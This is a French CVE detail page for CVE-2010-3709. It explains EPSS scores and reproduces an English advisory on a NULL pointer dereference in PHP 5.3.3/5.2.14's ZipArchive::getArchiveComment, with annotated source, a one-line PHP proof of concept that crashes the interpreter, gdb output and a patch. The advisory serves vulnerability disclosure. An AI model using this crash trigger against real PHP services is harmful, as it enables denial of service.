CVE-2010-3709 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

[ PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment NULL Pointer Deference ] Author: Maksymilian Arciemowicz http://securityreason.com/ http://cxib.net/ Date: - Dis.: 14.09.2010 - Pub.: 05.11.2010 CVE: CVE-2010-3709 CWE: CWE-476 Status: Fixed in CVS Affected Software: - PHP 5.3.3 - PHP 5.2.14 Original URL: http://securityreason.com/achievement_securityalert/90 --- 0.Description --- ZipArchive enables you to transparently read or write ZIP compressed archives and the files inside them. ZipArchive::getArchiveComment — Returns the Zip archive comment string ZipArchive::getArchiveComment ( void ) --- 1. PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment (CWE-476) --- As we can see in http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?re vision=303622&view=markup --- 1945 static ZIPARCHIVE_METHOD(getArchiveComment) 1946 { 1947 struct zip *intern; 1948 zval *this = getThis(); 1949 long flags = 0; 1950 const char * comment; 1951 int comment_len = 0; 1952 1953 if (!this) { 1954 RETURN_FALSE; 1955 } 1956 1957 ZIP_FROM_OBJECT(intern, this); 1958 1959 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|l", &flags) == FAILURE) { 1960 return; 1961 } 1962 1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags); <==== RETURN NULL AND -1 1964 RETURN_STRINGL((char *)comment, (long)comment_len, 1); <===== NULL POINTER DEFERENCE HERE 1965 } --- this method return string from zip_get_archive_comment() function. Now we need see this function, http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/lib/zip_get_ archive_comment.c?revision=284361&view=markup --- 40 ZIP_EXTERN(const char *) 41 zip_get_archive_comment(struct zip *za, int *lenp, int flags) 42 { 43 if ((flags & ZIP_FL_UNCHANGED) 44 || (za->ch_comment_len == -1)) { 45 if (za->cdir) { 46 if (lenp != NULL) 47 *lenp = za->cdir->comment_len; 48 return za->cdir->comment; 49 } 50 else { 51 if (lenp != NULL) 52 *lenp = -1; <===================== -1 53 return NULL; <==================== NULL 54 } 55 } 56 57 if (lenp != NULL) 58 *lenp = za->ch_comment_len; 59 return za->ch_comment; 60 } --- line 52 and 53 should return NULL pointer and (int)-1. In result RETURN_STRINGL() will be executed with: RETURN_STRINGL(NULL, -1, 1); and crash in memcpy(3). --- 2. PoC --- cx@cx64:/www$ touch empty.zip cx@cx64:/www$ php -r '$zip= new ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();' Segmentation fault Debug: cx@cx64:/www$ gdb -q php Reading symbols from /usr/bin/php...(no debugging symbols found)...done. (gdb) r -r '$zip= new ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();' Starting program: /usr/bin/php -r '$zip= new ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();' [Thread debugging using libthread_db enabled] Program received signal SIGSEGV, Segmentation fault. 0x00007ffff530edbb in memcpy () from /lib/libc.so.6 (gdb) bt #0 0x00007ffff530edbb in memcpy () from /lib/libc.so.6 #1 0x0000000000679fa8 in _estrndup () #2 0x00000000006371e5 in ?? () #3 0x00000000006e793a in ?? () #4 0x00000000006bec20 in execute () #5 0x000000000068b44a in zend_eval_stringl () #6 0x000000000068b5c9 in zend_eval_stringl_ex () #7 0x000000000072743e in ?? () #8 0x00007ffff52a6c4d in __libc_start_main () from /lib/libc.so.6 #9 0x000000000042c6a9 in _start () (gdb) x/i $rip => 0x7ffff530edbb <memcpy+347>: rep movsq %ds:(%rsi),%es:(%rdi) (gdb) x/x $rsi 0x0: Cannot access memory at address 0x0 (gdb) x/x $rbp 0xffffffff: Cannot access memory at address 0xffffffff --- 3. Fix --- Fix: Replace 1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags); 1964 RETURN_STRINGL((char *)comment, (long)comment_len, 1); to 1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags); 1964 if(comment==NULL) RETURN_FALSE; 1965 RETURN_STRINGL((char *)comment, (long)comment_len, 1); PHP 5.3: http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?vi ew=log PHP 5.2: http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/ext/zip/php_zip.c?vi ew=log MDVSA-2010:218 --- 4. Greets --- Special thanks for Pierre Joye sp3x, Infospec, Adam Zabrocki 'pi3' --- 5. Contact --- Author: SecurityReason.com [ Maksymilian Arciemowicz ] Email: - cxib {a\./t] securityreason [d=t} com GPG: - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg http://securityreason.com/ http://cxib.net/